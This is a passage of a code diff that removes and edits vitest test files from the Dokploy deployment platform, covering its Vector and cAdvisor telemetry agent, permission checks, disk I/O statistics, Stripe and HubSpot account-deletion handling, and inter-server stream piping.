mocks.findEnabledTelemetryProvidersByOrganization,
).not.toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
});
it("deploys cAdvisor next to Vector when metrics providers are assigned", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
promProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.sources.cadvisor_source.endpoints).toEqual([
"http://127.0.0.1:4510/metrics",
]);
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
const cadvisor = mocks.createService.mock.calls[1]?.[0];
expect(cadvisor.TaskTemplate.ContainerSpec.Image).toMatch(
/^ghcr\.io\/google\/cadvisor:v\d+\.\d+\.\d+$/,
);
expect(cadvisor.TaskTemplate.ContainerSpec.Args).toEqual(
expect.arrayContaining([
"--listen_ip=127.0.0.1",
"--port=4510",
"--docker_only=true",
"--store_container_labels=false",
]),
);
expect(cadvisor.TaskTemplate.ContainerSpec.HealthCheck).toEqual({
Test: ["NONE"],
});
expect(cadvisor.TaskTemplate.Networks).toEqual([{ Target: "host" }]);
expect(mocks.removeService).not.toHaveBeenCalled();
});
it("removes the agent on a remote server when the selection is empty", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: "key-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: [],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent("server-1");
expect(
mocks.findEnabledTelemetryProvidersByOrganization,
).toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(mocks.createService).not.toHaveBeenCalled();
expect(commandsOf(mocks.execAsyncRemote)).toEqual([
"rm -rf /etc/dokploy/vector",
]);
});
it("redacts the config and secrets when writing or applying the candidate fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
const echoCommand = async (command: string) => {
if (command.includes("base64 -d") || command.startsWith("mv ")) {
throw new Error(`Command failed: ${command} (token sekret-token)`);
}
return { stdout: "", stderr: "" };
};
mocks.execAsync.mockImplementation(echoCommand);
const writeError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(writeError).toMatch(/^Failed to write the Vector config: /);
expect(writeError).not.toContain("sekret-token");
expect(writeError).not.toContain(
Buffer.from("data_dir").toString("base64").slice(0, 8),
);
expect(writeError).toContain("[redacted]");
mocks.execAsync.mockImplementation(async (command: string) => {
if (command.startsWith("mv ")) return echoCommand(command);
return { stdout: "", stderr: "" };
});
const applyError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(applyError).toMatch(/^Failed to apply the Vector config: /);
expect(applyError).not.toContain("sekret-token");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates a rejected service update instead of pretending the create succeeded", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
mocks.updateService.mockRejectedValue(
new Error("rpc error: invalid mount"),
);
await expect(reconcileVectorAgent()).rejects.toThrow("invalid mount");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates an inspect failure that is not a 404", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("daemon unreachable"), { statusCode: 500 }),
);
await expect(reconcileVectorAgent()).rejects.toThrow("daemon unreachable");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("does not restart Vector on a config-only redeploy", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockImplementation(async () => ({
Version: { Index: "7" },
Spec: {
TaskTemplate: {
ForceUpdate: 2,
ContainerSpec: mocks.createService.mock.calls[0]?.[0]
? undefined
: undefined,
},
},
}));
await reconcileVectorAgent();
expect(mocks.killContainer).toHaveBeenCalledWith({ signal: "SIGHUP" });
expect(mocks.listContainers).toHaveBeenCalledWith({
filters: JSON.stringify({
label: ["com.docker.swarm.service.name=dokploy-vector"],
}),
});
const firstSpec = mocks.updateService.mock.calls[0]?.[0];
mocks.inspectService.mockResolvedValue({
Version: { Index: "8" },
Spec: { TaskTemplate: { ...firstSpec.TaskTemplate, ForceUpdate: 3 } },
});
mocks.updateService.mockClear();
await reconcileVectorAgent();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 8,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
it("updates an existing Vector service instead of creating it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
await reconcileVectorAgent();
expect(mocks.createService).not.toHaveBeenCalled();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 7,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
});
describe("removeVectorAgent", () => {
it("removes cAdvisor, then Vector, then the config directory", async () => {
await removeVectorAgent();
expect(mocks.getService.mock.calls.map((c) => c[0])).toEqual([
"dokploy-cadvisor",
"dokploy-vector",
]);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("keeps going when cAdvisor cannot be removed", async () => {
mocks.removeService
.mockRejectedValueOnce(new Error("docker hiccup"))
.mockRejectedValueOnce(notFound());
await removeVectorAgent();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("refuses a server without an SSH key before touching cAdvisor or Vector", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: null,
});
await expect(removeVectorAgent("server-1")).rejects.toThrow(/SSH key/);
expect(mocks.getService).not.toHaveBeenCalled();
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
});
});
@@ -1,214 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
listTasks: vi.fn(),
inspectService: vi.fn(),
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
getWebServerSettings: vi.fn(),
findTelemetryProvidersByOrganization: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: () => ({ VECTOR_PATH: "/etc/dokploy/vector" }),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findTelemetryProvidersByOrganization:
mocks.findTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
listTasks: mocks.listTasks,
getService: () => ({ inspect: mocks.inspectService }),
}),
}));
const { getVectorAgentTargets, withVectorTargetLock } = await import(
"@dokploy/server/setup/vector-setup"
);
const session = { userId: "user-1", activeOrganizationId: "org-1" };
describe("getVectorAgentTargets", () => {
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.inspectService.mockResolvedValue({});
mocks.getAccessibleServerIds.mockResolvedValue(new Set());
mocks.findTelemetryProvidersByOrganization.mockResolvedValue([
{ telemetryProviderId: "lp-1", enabled: true, signals: ["logs"] },
{ telemetryProviderId: "mp-1", enabled: true, signals: ["metrics"] },
{ telemetryProviderId: "mp-off", enabled: false, signals: ["metrics"] },
]);
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1"],
});
});
it("requires a running cAdvisor task when the target ships metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockImplementation(
async ({ filters }: { filters: string }) =>
JSON.parse(filters).service[0] === "dokploy-vector"
? [{ Status: { State: "running" } }]
: [],
);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
expect(mocks.listTasks).toHaveBeenCalledTimes(2);
});
it("reports running when both Vector and cAdvisor have a running task", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
});
it("does not look at cAdvisor for a logs-only target", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
await getVectorAgentTargets(session);
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("does not look at cAdvisor when the only metrics provider is disabled", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1", "mp-off"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("reports running only when a task of the service is running", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledWith({
filters: JSON.stringify({
service: ["dokploy-vector"],
"desired-state": ["running"],
}),
});
});
it("reports not-running when the service has no running task", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "pending" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
});
it("reports stopped when the service does not exist", async () => {
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("not found"), { statusCode: 404 }),
);
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("stopped");
expect(mocks.listTasks).not.toHaveBeenCalled();
});
it("reports unknown on any other docker error", async () => {
mocks.inspectService.mockRejectedValue(new Error("connect ECONNREFUSED"));
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("unknown");
});
it("reports an empty selection for an unowned local host, even with ids left by a deleted organization", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: ["lp-from-deleted-org", "mp-from-deleted-org"],
});
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local).toMatchObject({
serverId: null,
telemetryProviderIds: [],
});
});
it("hides servers the member cannot access", async () => {
mocks.listTasks.mockResolvedValue([]);
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{
serverId: "server-1",
name: "one",
ipAddress: "1.1.1.1",
telemetryProviderIds: [],
},
{
serverId: "server-2",
name: "two",
ipAddress: "2.2.2.2",
telemetryProviderIds: [],
},
]);
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-2"]));
const targets = await getVectorAgentTargets(session);
expect(targets.map((t) => t.serverId)).toEqual([null, "server-2"]);
});
});
describe("withVectorTargetLock", () => {
it("runs operations on the same target one after another", async () => {
const events: string[] = [];
let releaseFirst = () => {};
const first = withVectorTargetLock("server-1", async () => {
events.push("first:start");
await new Promise<void>((resolve) => {
releaseFirst = resolve;
});
events.push("first:end");
throw new Error("first failed");
});
const second = withVectorTargetLock("server-1", async () => {
events.push("second");
});
const other = withVectorTargetLock("server-2", async () => {
events.push("other");
});
await other;
expect(events).toEqual(["first:start", "other"]);
releaseFirst();
await expect(first).rejects.toThrow("first failed");
await second;
expect(events).toEqual(["first:start", "other", "first:end", "second"]);
});
});
@@ -1,197 +0,0 @@
import { execFileSync } from "node:child_process";
import { mkdtempSync, writeFileSync } from "node:fs";
import os from "node:os";
import path from "node:path";
import {
buildVectorConfigYaml,
VECTOR_IMAGE,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
const dockerAvailable = (() => {
try {
execFileSync("docker", ["info"], { stdio: "ignore", timeout: 10_000 });
return true;
} catch {
return false;
}
})();
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
enabled: true,
...overrides,
}) as any;
const logsOnly = [
provider({
telemetryProviderId: "loki1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "http://loki.example.com:3100",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
];
const metricsOnly = [
provider({
telemetryProviderId: "prom1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: "token",
extraConfig: { tenantId: "team-a" },
}),
provider({
telemetryProviderId: "nr1",
name: "new relic",
providerType: "new_relic",
signals: ["metrics"],
apiKey: "license",
extraConfig: { accountId: "123", region: "eu" },
}),
provider({
telemetryProviderId: "influx1",
name: "influx",
providerType: "influxdb",
signals: ["metrics"],
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
}),
];
const both = [
provider({
telemetryProviderId: "dd1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
}),
provider({
telemetryProviderId: "cw1",
name: "cloudwatch",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIAFAKE",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
}),
provider({
telemetryProviderId: "splunk1",
name: "splunk",
providerType: "splunk_hec",
signals: ["logs", "metrics"],
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { index: "main", metricsIndex: "dokploy_metrics" },
}),
provider({
telemetryProviderId: "es1",
name: "elastic",
providerType: "elasticsearch",
signals: ["logs", "metrics"],
endpoint: "http://es.example.com:9200",
apiKey: "pw",
extraConfig: { username: "elastic" },
}),
provider({
telemetryProviderId: "bs1",
name: "better stack",
providerType: "betterstack",
signals: ["logs", "metrics"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
}),
];
const cases: Array<[string, Parameters<typeof buildVectorConfigYaml>[0]]> = [
[
"local logs only",
{
logProviders: logsOnly,
metricsProviders: [],
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local metrics only",
{
logProviders: [],
metricsProviders: metricsOnly,
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
organizationId: "org_a",
serverName: 'Dokploy "Server" $HOSTNAME (local)',
},
],
[
"remote metrics only",
{ logProviders: [], metricsProviders: metricsOnly, serverName: "edge-1" },
],
[
"remote every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
serverName: "edge-1",
},
],
];
describe.skipIf(!dockerAvailable)(
"vector validate on generated configs",
() => {
const dir = mkdtempSync(path.join(os.tmpdir(), "vector-validate-"));
it.each(cases)(
"%s",
(name, input) => {
const file = path.join(dir, `${name.replace(/\W+/g, "-")}.yaml`);
writeFileSync(file, buildVectorConfigYaml(input));
const output = execFileSync(
"docker",
[
"run",
"--rm",
"-v",
"/var/run/docker.sock:/var/run/docker.sock:ro",
"-v",
`${file}:/etc/vector/vector.yaml:ro`,
VECTOR_IMAGE,
"validate",
"--skip-healthchecks",
"/etc/vector/vector.yaml",
],
{
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
timeout: 120_000,
},
);
expect(output).toContain("Validated");
},
150_000,
);
},
);
@@ -1,86 +0,0 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findFirst: vi.fn(),
updates: [] as Array<{ values: Record<string, unknown>; where: unknown }>,
returning: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { webServerSettings: { findFirst: mocks.findFirst } },
update: () => ({
set: (values: Record<string, unknown>) => ({
where: (where: unknown) => {
mocks.updates.push({ values, where });
return { returning: () => Promise.resolve(mocks.returning()) };
},
}),
}),
},
}));
const { releaseWebServerAgent, setWebServerProviderIds } = await import(
"@dokploy/server/services/web-server-settings"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
beforeEach(() => {
mocks.updates = [];
mocks.findFirst.mockResolvedValue({
id: "ws-1",
vectorAgentOrganizationId: "org-a",
});
mocks.returning.mockReturnValue([{ id: "ws-1" }]);
});
describe("setWebServerProviderIds", () => {
it("claims the local agent for the organization when assigning providers", async () => {
const row = await setWebServerProviderIds("org-a", ["lp-1", "mp-1"]);
expect(row).toEqual({ id: "ws-1" });
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: ["lp-1", "mp-1"],
vectorAgentOrganizationId: "org-a",
});
expect(render(update?.where)).toBe(
'("webServerSettings"."id" = $1 and ("webServerSettings"."vectorAgentOrganizationId" is null or "webServerSettings"."vectorAgentOrganizationId" = $2))',
);
});
it("releases the owner when the selection is cleared", async () => {
await setWebServerProviderIds("org-a", []);
expect(mocks.updates[0]?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
});
it("returns null when another organization owns the local agent", async () => {
mocks.returning.mockReturnValue([]);
await expect(
setWebServerProviderIds("org-b", ["lp-9"]),
).resolves.toBeNull();
});
});
describe("releaseWebServerAgent", () => {
it("clears the selection and the owner only for the owning organization", async () => {
await releaseWebServerAgent("org-a");
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
expect(render(update?.where)).toBe(
'"webServerSettings"."vectorAgentOrganizationId" = $1',
);
});
});
@@ -1,104 +0,0 @@
import {
getHostSystemStats,
isPhysicalDisk,
} from "@dokploy/server/monitoring/utils";
import { describe, expect, it, vi } from "vitest";
const GiB = 1024 ** 3;
const diskStat = (device: string, readGiB: number, writeGiB: number) => ({
device,
readBytes: { toBytes: () => readGiB * GiB },
writeBytes: { toBytes: () => writeGiB * GiB },
});
vi.mock("node-os-utils", () => ({
OSUtils: class {
cpu = { usage: async () => ({ success: false }) };
memory = { info: async () => ({ success: false }) };
network = { overview: async () => ({ success: false }) };
disk = {
stats: async () => ({
success: true,
data: [
diskStat("nvme0n1", 50, 100),
diskStat("nvme0n1p1", 50, 100),
diskStat("nvme1n1", 50, 100),
diskStat("nvme1n1p1", 50, 100),
diskStat("md0", 50, 100),
diskStat("md0p1", 50, 100),
diskStat("dm-0", 50, 100),
diskStat("zram0", 10, 20),
],
}),
};
},
}));
describe("isPhysicalDisk (#5513, #5385)", () => {
it.each([
"sda",
"sdab",
"hda",
"vda",
"xvda",
"nvme0n1",
"nvme1n1",
"mmcblk0",
])("counts whole disk %s", (device) => {
expect(isPhysicalDisk(device)).toBe(true);
});
it.each([
"sda1",
"sdab12",
"hda1",
"vda1",
"xvda1",
"nvme0n1p1",
"nvme1n1p4",
"mmcblk0p1",
])("skips partition %s", (device) => {
expect(isPhysicalDisk(device)).toBe(false);
});
it.each(["md0", "md127", "md0p1", "md_d0p1", "dm-0", "dm-12"])(
"skips stacked device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it.each(["loop0", "ram0", "zram0", "sr0", "fd0"])(
"skips virtual device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it("counts each write once on an mdadm RAID1 host", () => {
const devices = [
"nvme0n1",
"nvme0n1p1",
"nvme0n1p2",
"nvme0n1p3",
"nvme0n1p4",
"nvme1n1",
"nvme1n1p1",
"nvme1n1p2",
"nvme1n1p3",
"nvme1n1p4",
"md0",
"md1",
"md2",
"md3",
];
expect(devices.filter(isPhysicalDisk)).toEqual(["nvme0n1", "nvme1n1"]);
});
});
describe("getHostSystemStats Block I/O (#5513, #5385)", () => {
it("sums only whole physical disks", async () => {
const stats = await getHostSystemStats();
expect(stats.BlockIO).toBe("100.00GiB / 200.00GiB");
});
});
@@ -73,20 +73,6 @@ describe("owner and admin bypass enterprise resources", () => {
).resolves.toBeUndefined();
});
it("owner bypasses telemetryProvider.read", async () => {
memberToReturn = mockMemberData("owner");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).resolves.toBeUndefined();
});
it("admin bypasses telemetryProvider.create", async () => {
memberToReturn = mockMemberData("admin");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).resolves.toBeUndefined();
});
it("owner bypasses multiple enterprise permissions at once", async () => {
memberToReturn = mockMemberData("owner");
await expect(
@@ -153,20 +139,6 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
checkPermission(ctx, { registry: ["create"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.read", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.create", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).rejects.toThrow();
});
});
describe("static roles validate free-tier resources", () => {
@@ -18,7 +18,6 @@ const FREE_TIER_RESOURCES = [
"gitProviders",
"traefikFiles",
"api",
"telemetryProvider",
];
const ENTERPRISE_RESOURCES = [
@@ -111,7 +111,6 @@ describe("enterprise resources for static roles", () => {
expect(perms.destination.read).toBe(false);
expect(perms.notification.read).toBe(false);
expect(perms.auditLog.read).toBe(false);
expect(perms.telemetryProvider.read).toBe(false);
});
});
@@ -25,8 +25,6 @@ const baseSettings: WebServerSettings = {
letsEncryptEmail: null,
sshPrivateKey: null,
enableDockerCleanup: false,
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
buildsConcurrency: 1,
logCleanupCron: null,
metricsConfig: {
@@ -64,10 +62,6 @@ const baseSettings: WebServerSettings = {
errorPageDescription: null,
ogImageUrl: null,
footerText: null,
logoLightUrl: null,
loginLogoLightUrl: null,
faviconLightUrl: null,
dualModeBranding: false,
},
cleanupCacheApplications: false,
cleanupCacheOnCompose: false,
@@ -1,182 +0,0 @@
import {
checkDeletionCode,
generateDeletionCode,
serializeDeletionCode,
} from "@dokploy/server/services/account-deletion";
import { deleteHubSpotContactByEmail } from "@dokploy/server/utils/tracking/hubspot";
import Stripe from "stripe";
import { afterEach, describe, expect, test, vi } from "vitest";
import { cancelStripeSubscriptions } from "@/server/utils/billing";
const makeStripe = (
subscriptions: Array<{ id: string; status: string }>,
listError?: Error,
) => {
const stripe = {
subscriptions: {
list: vi.fn(() =>
listError
? Promise.reject(listError)
: Promise.resolve({ data: subscriptions }),
),
cancel: vi.fn(() => Promise.resolve({})),
},
};
return stripe as unknown as Stripe & typeof stripe;
};
describe("cancelStripeSubscriptions", () => {
test("cancels every non-terminal subscription without invoicing", async () => {
const stripe = makeStripe([
{ id: "sub_active", status: "active" },
{ id: "sub_trial", status: "trialing" },
{ id: "sub_past_due", status: "past_due" },
{ id: "sub_canceled", status: "canceled" },
{ id: "sub_expired", status: "incomplete_expired" },
]);
const result = await cancelStripeSubscriptions("cus_1", stripe);
expect(stripe.subscriptions.list).toHaveBeenCalledWith({
customer: "cus_1",
status: "all",
limit: 100,
});
expect(stripe.subscriptions.cancel).toHaveBeenCalledTimes(3);
expect(stripe.subscriptions.cancel).toHaveBeenCalledWith("sub_active", {
invoice_now: false,
prorate: false,
});
expect(result).toEqual({
cancelledSubscriptions: ["sub_active", "sub_trial", "sub_past_due"],
});
});
test("treats a missing customer as having nothing to cancel", async () => {
const missing = new Stripe.errors.StripeInvalidRequestError({
type: "invalid_request_error",
code: "resource_missing",
message: "No such customer",
});
const stripe = makeStripe([], missing);
const result = await cancelStripeSubscriptions("cus_missing", stripe);
expect(stripe.subscriptions.cancel).not.toHaveBeenCalled();
expect(result).toEqual({ cancelledSubscriptions: [] });
});
test("propagates unexpected Stripe errors", async () => {
const failure = new Stripe.errors.StripeAPIError({
type: "api_error",
message: "boom",
});
const stripe = makeStripe([], failure);
await expect(cancelStripeSubscriptions("cus_1", stripe)).rejects.toBe(
failure,
);
});
});
describe("deleteHubSpotContactByEmail", () => {
afterEach(() => {
vi.unstubAllGlobals();
});
test("is skipped when no access token is configured", async () => {
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", undefined)).toBe(
"skipped",
);
expect(fetchMock).not.toHaveBeenCalled();
});
test("calls the GDPR delete endpoint with the email as id", async () => {
const fetchMock = vi.fn(() =>
Promise.resolve(new Response(null, { status: 204 })),
);
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"deleted",
);
const [url, init] = fetchMock.mock.calls[0] as unknown as [
string,
RequestInit,
];
expect(url).toBe(
"https://api.hubapi.com/crm/v3/objects/contacts/gdpr-delete",
);
expect(init.method).toBe("POST");
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer token",
);
expect(JSON.parse(init.body as string)).toEqual({
idProperty: "email",
objectId: "a@b.com",
});
});
test("maps 404 to not_found and other errors to failed", async () => {
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response(null, { status: 404 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"not_found",
);
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response("nope", { status: 500 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"failed",
);
});
});
describe("account deletion codes", () => {
test("generates six-digit numeric codes", () => {
for (let i = 0; i < 50; i++) {
expect(generateDeletionCode()).toMatch(/^\d{6}$/);
}
});
test("accepts the right code, ignoring surrounding whitespace", () => {
const value = serializeDeletionCode("482913");
expect(checkDeletionCode(value, "482913")).toEqual({
valid: true,
attempts: 0,
});
expect(checkDeletionCode(value, " 482913 ").valid).toBe(true);
});
test("counts failed attempts without revealing the hash", () => {
const value = serializeDeletionCode("482913");
const first = checkDeletionCode(value, "000000");
expect(first.valid).toBe(false);
if (first.valid) throw new Error("unreachable");
expect(first.attempts).toBe(1);
expect(JSON.parse(first.nextValue)).toEqual({
...JSON.parse(value),
attempts: 1,
});
const second = checkDeletionCode(first.nextValue, "999999");
expect(second.valid).toBe(false);
if (second.valid) throw new Error("unreachable");
expect(second.attempts).toBe(2);
expect(checkDeletionCode(second.nextValue, "482913")).toEqual({
valid: true,
attempts: 2,
});
expect(value).not.toContain("482913");
});
});
@@ -1,60 +0,0 @@
import { promises as fs } from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
}));
import { pipeBetweenServers } from "@dokploy/server/utils/process/remoteStream";
describe("pipeBetweenServers", () => {
it("delivers a short source stream that ends before the target is ready", async () => {
const bytes = await pipeBetweenServers({
source: { serverId: null, command: "printf 'hello world'" },
target: { serverId: null, command: "sleep 0.3; cat > /dev/null" },
});
expect(bytes).toBe(11);
});
it("pipes data larger than the pipe buffer unchanged", async () => {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-"));
const source = path.join(dir, "src.bin");
const target = path.join(dir, "dst.bin");
const size = 1024 * 1024;
const progress: number[] = [];
const bytes = await pipeBetweenServers({
source: {
serverId: null,
command: `head -c ${size} /dev/urandom | tee '${source}'`,
},
target: { serverId: null, command: `cat > '${target}'` },
onProgress: (transferred) => progress.push(transferred),
});
expect(bytes).toBe(size);
expect(progress.at(-1)).toBe(size);
expect(await fs.readFile(target)).toEqual(await fs.readFile(source));
await fs.rm(dir, { recursive: true, force: true });
}, 30_000);
it("reports a target failure with its stderr", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "printf x" },
target: { serverId: null, command: "echo boom >&2; exit 3" },
}),
).rejects.toThrow("target exited with code 3: boom");
});
it("reports a source failure", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "exit 2" },
target: { serverId: null, command: "cat > /dev/null" },
}),
).rejects.toThrow("source exited with code 2");
});
});
@@ -1,169 +0,0 @@
import { EventEmitter } from "node:events";
import http from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import WebSocket from "ws";
class FakeChild extends EventEmitter {
stdout = new EventEmitter();
stderr = new EventEmitter();
killed = false;
exitCode: number | null = null;
signalCode: NodeJS.Signals | null = null;
signals: string[] = [];
